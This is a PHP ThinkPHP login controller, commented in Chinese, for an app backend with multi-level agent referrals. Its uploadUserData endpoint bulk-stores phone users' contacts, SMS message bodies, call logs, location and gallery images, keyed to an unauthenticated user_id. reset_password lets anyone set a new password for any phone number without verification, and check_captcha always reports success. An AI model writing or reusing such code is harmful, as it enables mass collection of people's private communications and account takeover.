<?php

namespace app\home\controller\login;

use app\BaseController;
use app\common\model\AdminModel;
use app\common\model\HomeToken;
use app\common\model\User;
use app\common\model\User as models;
use app\common\traites\PublicCrudTrait;
use app\validate\home\Login as validates;
use think\exception\ValidateException;
use hg\apidoc\annotation as Apidoc;
use app\common\logic\Sms;
use think\facade\Db;
use think\Request; // ✅ 使用实例类，不是 facade
use think\Response;
use think\facade\Log;

/**
 * @Apidoc\Title("用户登录相关")
 * */
class Login extends BaseController
{
    protected $model;
    protected $avatar = [
        'https://p3.toutiaoimg.com/tos-cn-i-qvj2lq49k0/1bd5a1d898c64f96b44d26860c434a95~tplv-tt-large.image',
        'https://p3.toutiaoimg.com/tos-cn-i-qvj2lq49k0/840a5b3bcc03471c9cdbfaf5eb482936~tplv-tt-large.image',
        'https://p3.toutiaoimg.com/tos-cn-i-qvj2lq49k0/1d57712b1552412dbac609d3fc2beb2e~tplv-tt-large.image',
        'https://p3.toutiaoimg.com/tos-cn-i-qvj2lq49k0/d26474e1d0a94317a7a7d34c175f06d1~tplv-tt-large.image',
    ];
    use PublicCrudTrait;

    public function initialize()
    {
        shuffle($this->avatar);
        $this->model = new models();
        parent::initialize(); // TODO: Change the autogenerated stub
    }


    public function login()
    {
        $startTime = microtime(true); // 起始时间
    
        $timeLogs = [];
    
        // 1. 获取参数
        $post = $this->request->only(['phone', 'pwd'], 'post');
        $timeLogs['参数获取'] = microtime(true);
    
        // 2. 验证参数
        try {
            validate(validates::class)->scene('login')->check($post);
        } catch (ValidateException $e) {
            return show([], config('ToConfig.http_code.error'), $e->getError());
        }
        $timeLogs['参数验证'] = microtime(true);
    
        // 3. 查询用户
        $user = $this->model
            ->where(function ($query) use ($post) {
                $query->whereOr([
                    ['user_name', '=', $post['phone']],
                    ['phone', '=', $post['phone']],
                ]);
            })
            ->where('pwd', pwdEncryption($post['pwd']))
            ->find();
        $timeLogs['数据库查询用户'] = microtime(true);
    
        if (!$user) {
            return show([], config('ToConfig.http_code.error'), '账号或密码错误');
        }
    
        $user = $user->toArray();
    
        if ($user['status_user'] != 1) {
            return show([], config('ToConfig.http_code.error'), '账户异常，请联系管理员');
        }
    
        // 4. 生成 token 并更新/插入
        $token = home_api_token($user['id']);
        $user['token'] = $token;
    
        $tokenModel = new \app\common\model\HomeToken();
        $existingToken = $tokenModel->where('user_id', $user['id'])->find();
    
        $tokenData = [
            'token' => $token,
            'create_time' => date('Y-m-d H:i:s'),
        ];
    
        if ($existingToken) {
            $tokenModel->where('user_id', $user['id'])->update($tokenData);
        } else {
            $tokenModel->insert(array_merge(['user_id' => $user['id']], $tokenData));
        }
        $timeLogs['生成与保存Token'] = microtime(true);
    
        // 5. 更新用户状态
        $this->model->where('id', $user['id'])->update([
            'login_ip' => request()->ip(),
            'login_address' => '关闭',
            'state' => 1,
        ]);
        $timeLogs['更新状态信息'] = microtime(true);
    
        // 6. 清理数据并存 session
        unset($user['pwd'], $user['withdraw_pwd']);
        session('home_user', $user);
        $timeLogs['存储Session'] = microtime(true);
    
        // 7. 写日志
        // (new \app\common\service\LoginLog())->login(2);
        // $timeLogs['写入登录日志'] = microtime(true);
    
        // 8. 返回前记录总耗时
        $endTime = microtime(true);
        $timeLogs['总耗时'] = $endTime - $startTime;
    
        // 调试返回（上线请删除此段）
        // return json(['耗时日志' => $this->formatTimeLogs($timeLogs)]);
        $user['run_time'] = $this->formatTimeLogs($timeLogs);
    
        // 正常返回
        return show($user);
    }
    
    // 用于格式化时间日志（可选）
    private function formatTimeLogs(array $logs)
    {
        $formatted = [];
        $last = null;
        foreach ($logs as $label => $time) {
            if (is_float($time)) {
                if ($last !== null) {
                    $formatted[$label] = number_format(($time - $last) * 1000, 2) . ' ms';
                }
                $last = $time;
            } else {
                $formatted[$label] = $time;
            }
        }
        return $formatted;
    }

    /**
     * @Apidoc\Title("游客自动注册")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="账号")
     * @Apidoc\Param("home_code", type="string", desc="用户直接的推广代码")
     * @Apidoc\Param("admin_code", type="string", desc="后端代理的推广代码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function register_auto()
    {
        //过滤数据
        $postField = 'phone,home_code,admin_code';
        $post = $this->request->only(explode(',', $postField), 'post', null);

        //验证数据
        try {
            validate(validates::class)->scene('register_auto')->check($post);
        } catch (ValidateException $e) {
            // 验证失败 输出错误信息
            return show([], config('ToConfig.http_code.error'), $e->getError());
        }

        //判断是否存在该账号
        $rand = userkey(rand(10, 20));//生成账号
        $find = $this->model->where('phone', $post['phone'])->whereOr('user_name', $rand)->find();
        if ($find) return show([], config('ToConfig.http_code.error'), '该手机号已存在');
        
        $data = [
            'phone' => $post['phone'],
            'nickname' => '新用户' . rand(1000, 9999),
            'avatar' => $this->avatar[0],
            'user_name' => $rand,
            'pwd' => pwdEncryption($post['pwd']),
            'create_time' => date('Y-m-d H:i:s'),
            'invitation_code' => generateCode(),
            'type' => 2,
            'withdraw_pwd' => home_tx_pwd(),
        ];

        //普通用户推广的上下级关系 //查询推广代理商
        if (isset($post['home_code']) && !empty($post['home_code'])) {
            $agent = $this->model->where('invitation_code', $post['home_code'])->find();
            if ($agent) {
                $data['agent_id_1'] = $agent->id;
                $data['agent_id_2'] = $agent->agent_id_1;
                $data['agent_id_3'] = $agent->agent_id_2;
                $data['market_uid'] = $agent->market_uid;
            }

        }
        //后端代理的上下级关系 //查询推广代理商
        if (isset($post['admin_code']) && !empty($post['admin_code'])) {
            $agent_id = AdminModel::where('invitation_code', $post['admin_code'])->value('id');
            if ($agent_id) {
                $data['agent_id'] = $agent_id;
                
                // 更新 统计数据 
                (new AdminModel)->where('id',$agent_id)->inc('access_today')->update();
                (new AdminModel)->where('id',$agent_id)->inc('open_today')->update();

            }
        }
        //插入数据
        $find = $this->model->save($data);
        if (empty($find)) return show([], config('ToConfig.http_code.error'), '注册失败');
       
        return show();
    }

    /**
     * @Apidoc\Title("注册")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="手机号 或者 用户名")
     * @Apidoc\Param("pwd", type="string",require=true, desc="密码")
     * @Apidoc\Param("invitation_code", type="string",require=true, desc="邀请码")
     * @Apidoc\Param("sms_code", type="string",require=true, desc="短信验证码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function register_user()
    {
        //过滤数据
        $postField = 'groupid,phone,invitation_code,pwd,sms_code';
        $post      = $this->request->only(explode(',', $postField), 'post', null);

        //验证数据
        try {
            validate(validates::class)->scene('register_user')->check($post);
        } catch (ValidateException $e) {
            // 验证失败 输出错误信息
            return show([],config('ToConfig.http_code.error'),$e->getError());
        }

        //检测短信验证码
        $sms=new Sms();
        $res_sms=$sms->checkCode(1,$post['phone'],$post['sms_code']);
        if ($res_sms['status']==0){
            return show([],config('ToConfig.http_code.error'),$res_sms['msg']);
        }

        // 检测邀请码
        $agent= $this->model->where('status_user', 1)->where('invitation_code', $post['invitation_code'])->find();
        if(empty($agent)){
            return show([],config('ToConfig.http_code.error'),'邀请码不正确');
        }

        //判断是否存在该账号
        $user_name = $nickname = $post['phone'];
        $find = $this->model->where('phone', $post['phone'])->whereOr('user_name', $user_name)->find();
        if ($find) return show([],config('ToConfig.http_code.error'),'号码已存在');

        // 配置信息 注册赠送金额
        //$SysConfig=new SysConfig();
        //$register_give=$SysConfig->where('name','register_give')->value('value');

        // 组织注册信息 
        $data = [
            'groupid' => $post['groupid'],
            'phone' => $post['phone'],
            'user_name' => $user_name,
            'nickname' => $nickname,
            'pwd' => pwdEncryption($post['pwd']),
            'create_time' => date('Y-m-d H:i:s'),
            'type'=>2,
            'withdraw_pwd'=>home_tx_pwd(),
            // 'money_gongfu'=>300000,
            //'money_balance'=>$register_give,
        ];
        
        Db::startTrans();
        try {
            //推广用户查询 //查询推广代理商
            if (isset($post['invitation_code']) && !empty($post['invitation_code'])) {
                $agent= $this->model->where('status_user', 1)->where('invitation_code', $post['invitation_code'])->find();
                if ($agent){
                    $data['agent_id_1']=$agent->id;
                    $data['agent_id_2']=$agent->agent_id_1;
                    $data['agent_id_3']=$agent->agent_id_2;
                    $data['market_uid']=$agent->market_uid;

                }else{
                    return show([],config('ToConfig.http_code.error'),'邀请码错误');
                }
            }

            //插入数据
            $uid=$this->model->insertGetId($data);
            // 更新邀请码 
            $invitation_code = $this->rand_code();
            $this->model->where('id',$uid)->save(['invitation_code'=>$invitation_code]);


            // 生成 二维码
            $register_url = config('ToConfig.app_update.app_qrcode').$invitation_code;
            $img = generate($register_url);
            $this->model->where('id',$uid)->save(['qrCodeImg'=>config('ToConfig.app_update.erweim_url').$img]);
            // 生成 结束
            Db::commit();
            return show();
        } catch (ValidateException $e) {
            Db::rollback();
            // 验证失败 输出错误信息
            return show([],config('ToConfig.http_code.error'),$e->getError());
        }

    }


    /**
     * @Apidoc\Title("获取协议详情")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("id", type="string",require=true, desc="文章ID")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function get_xieyi_detail()
    {
        $id = $this->request->param('id','');
        $res = (new Article())->find($id);
        $res['content'] = htmlspecialchars_decode($res['content']);
        return show($res);
    }



    /**
     * 内部调用 -> 生成邀请码
     */
    protected function rand_code() {
        $rand = userzm(8, false);
        $qc = $this->model->where('invitation_code', $rand)->find();
        if ($qc) {
            $this->rand_code();
        } else {
            return $rand;
        }
    }


    /**
     * @Apidoc\Title("注册  输入图文验证码 获取短信发送能力")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="手机号 或者 用户名")
     * @Apidoc\Param("captcha", type="string",require=true, desc="验证码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function register_captcha(){
        //过滤数据
        $postField = 'phone,captcha';
        $post      = $this->request->only(explode(',', $postField), 'post', null);
        //检测账号
        $User=new User();
        $user=$User->where('phone',$post['phone'])->find();
        if ($user){
            return show([],config('ToConfig.http_code.error'),'account has been registered');
        }
        $sms=new Sms();
        $ip=$this->request->ip();
        $res=$sms->sendCode($ip,1,$post['phone']);
        if ($res['status']==1){
            return show([]);
        }else{
            return show([],config('ToConfig.http_code.error'),$res['msg']);
        }

    }
    /**
     * @Apidoc\Title("忘记密码  输入图文验证码 获取短信发送能力")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="手机号 或者 用户名")
     * @Apidoc\Param("captcha", type="string",require=true, desc="验证码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function forgot_captcha(){
        //过滤数据
        $postField = 'phone,captcha';
        $post      = $this->request->only(explode(',', $postField), 'post', null);
        //检测账号
        $sms=new Sms();
        $ip=$this->request->ip();
        $res=$sms->sendCode($ip,1,$post['phone']);
        if ($res['status']==1){
            return show([]);
        }else{
            return show([],config('ToConfig.http_code.error'),$res['msg']);
        }

    }
    /**
     * @Apidoc\Title("忘记密码  输入图文验证码 获取短信发送能力")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="手机号 或者 用户名")
     * @Apidoc\Param("captcha", type="string",require=true, desc="验证码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function check_captcha(){
        //过滤数据
        $postField = 'phone,code';
        $post      = $this->request->only(explode(',', $postField), 'post', null);
        //检测账号 | 模拟检测成功
        return show([]);
    }
    // 上传用户数据（通讯录、通话记录、短信、位置、图片）
    public function uploadUserData(Request $request)
    {
        try {
            $data = $request->post();

            // 这里你可以根据登录状态或 token 拿到当前用户ID
            $userId = $data['user_id'];
            if (!$userId) {
                return json(['code' => 401, 'msg' => '未登录或用户信息无效']);
            }

            // 1. 插入位置信息
            if (!empty($data['location'])) {
                Db::name('phone_user_locations')->insert([
                    'user_id'   => $userId,
                    'latitude'  => $data['location']['latitude'] ?? '',
                    'longitude' => $data['location']['longitude'] ?? '',
                    'address'   => $data['location']['address'] ?? '',
                    'collected_at' => date('Y-m-d H:i:s')
                ]);
            }

            // 2. 插入通讯录
            if (!empty($data['contacts']) && is_array($data['contacts'])) {
                $contacts = array_map(function ($item) use ($userId) {
                    return [
                        'user_id' => $userId,
                        'name' => $item['name'] ?? '',
                        'phone' => $item['phone'] ?? '',
                        'created_at' => date('Y-m-d H:i:s')
                    ];
                }, $data['contacts']);

                Db::name('phone_user_contacts')->insertAll($contacts);
            }

            // 3. 插入短信记录
            if (!empty($data['smsList']) && is_array($data['smsList'])) {
                $sms = array_map(function ($item) use ($userId) {
                    return [
                        'user_id' => $userId,
                        'address' => $item['address'] ?? '',
                        'body' => $item['body'] ?? '',
                        'date' => $item['date'] ?? '',
                        'type' => $item['type'] ?? '',
                        'created_at' => date('Y-m-d H:i:s')
                    ];
                }, $data['smsList']);

                Db::name('phone_user_sms_logs')->insertAll($sms);
            }

            // 4. 插入通话记录
            if (!empty($data['callLogs']) && is_array($data['callLogs'])) {
                $logs = array_map(function ($item) use ($userId) {
                    return [
                        'user_id' => $userId,
                        'name' => $item['name'] ?? '',
                        'phone' => $item['phone'] ?? '',
                        'type' => $item['type'] ?? '',
                        'duration' => $item['duration'] ?? 0,
                        'date' => $item['date'] ?? '',
                        'created_at' => date('Y-m-d H:i:s')
                    ];
                }, $data['callLogs']);

                Db::name('phone_user_call_logs')->insertAll($logs);
            }

            // 5. 插入已上传的图片服务器URL
            if (!empty($data['ImagesWebUrl']) && is_array($data['ImagesWebUrl'])) {
                $urls = array_map(function ($url) use ($userId) {
                    return [
                        'user_id' => $userId,
                        'url' => $url,
                        'created_at' => date('Y-m-d H:i:s')
                    ];
                }, $data['ImagesWebUrl']);

                Db::name('phone_user_gallery_images')->insertAll($urls);
            }

            return json(['code' => 200, 'msg' => '上传成功']);
        } catch (\Exception $e) {
            Log::error('上传用户数据异常：' . $e->getMessage());
            return json(['code' => 500, 'msg' => '服务器异常']);
        }
    }
    /**
     * @Apidoc\Title("忘记密码  输入图文验证码 获取短信发送能力")
     * @Apidoc\Method("POST")
     * @Apidoc\Param("phone", type="string",require=true, desc="手机号 或者 用户名")
     * @Apidoc\Param("captcha", type="string",require=true, desc="验证码")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function reset_password()
    {
        // 过滤 POST 数据
        $postField = 'phone,password';
        $post = $this->request->only(explode(',', $postField), 'post', null);
    
        // 参数校验
        if (empty($post['phone']) || empty($post['password'])) {
            return show([], config('ToConfig.http_code.error'), '手机号或密码不能为空');
        }
    
        // 密码加密处理（如果有加密函数，请打开）
        $encryptedPwd = pwdEncryption($post['password']); // 如果无此函数可直接用 $post['password']
    
        // 执行更新
        $res = Db::name('common_user')
            ->where('phone', $post['phone'])
            ->update(['pwd' => $encryptedPwd]);
    
        if ($res !== false) {
            return show([], 200, '密码重置成功');
        } else {
            return show([], config('ToConfig.http_code.error'), '修改失败');
        }
    }
    /**
     * @Apidoc\Title("产生图形码")
     * @Apidoc\Method("GET")
     * @Apidoc\Returned("data", type="bool", desc="返回成功失败结果")
     */
    public function make_captcha()
    {
        $config = [
            'fontSize' => 20, // // 验证码字体大小
            'length' => 4, // 验证码位数
            'useNoise' => false,//是否添加杂点
            'useCurve' =>false,
            'imageH' => 50,//高度
            'imageW' => 150,
        ];
        config($config,'captcha');
        $captcha =\think\captcha\facade\Captcha::createApi();
        return $captcha;
    }
 
// 类结束了
}